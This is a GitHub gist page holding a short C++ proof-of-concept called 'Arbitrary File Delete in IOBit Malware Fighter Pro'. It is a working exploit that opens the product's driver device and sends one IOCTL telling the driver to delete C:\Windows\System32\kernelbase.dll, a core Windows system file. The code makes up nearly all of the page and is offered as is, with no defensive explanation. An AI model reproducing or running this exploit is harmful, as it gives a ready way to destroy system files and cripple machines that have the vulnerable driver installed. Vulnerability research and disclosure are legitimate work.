Skip to content

Instantly share code, notes, and snippets.

@mukarramkhalid
Forked from alfarom256/IOBitStillSucks.cpp
Created January 8, 2025 14:29
Show Gist options
  • Save mukarramkhalid/bcafdfb08b92348132dc6a2d7933a7af to your computer and use it in GitHub Desktop.
Save mukarramkhalid/bcafdfb08b92348132dc6a2d7933a7af to your computer and use it in GitHub Desktop.
Arbitrary File Delete in IOBit Malware Fighter "Pro"
#include <Windows.h>
#include <stdio.h>
const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";
int main() {
DWORD dwReturnVal = 0;
DWORD dwBytesReturned = 0;
BOOL bRes = FALSE;
HANDLE hDevice = CreateFileA(
strDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
puts("Opened handle to device");
if (!hDevice || hDevice == INVALID_HANDLE_VALUE){ // lol I forgot which one it is oh well
return GetLastError();
}
bRes = DeviceIoControl(
hDevice,
0x8016E000,
(LPVOID)wstrDummyFile,
lstrlenW(wstrDummyFile) * sizeof(wchar_t),
&dwReturnVal,
sizeof(DWORD),
&dwBytesReturned,
NULL
);
if (!(bRes && dwReturnVal)) {
puts("Delete failed");
CloseHandle(hDevice);
return GetLastError();
}
puts("Deleted target");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment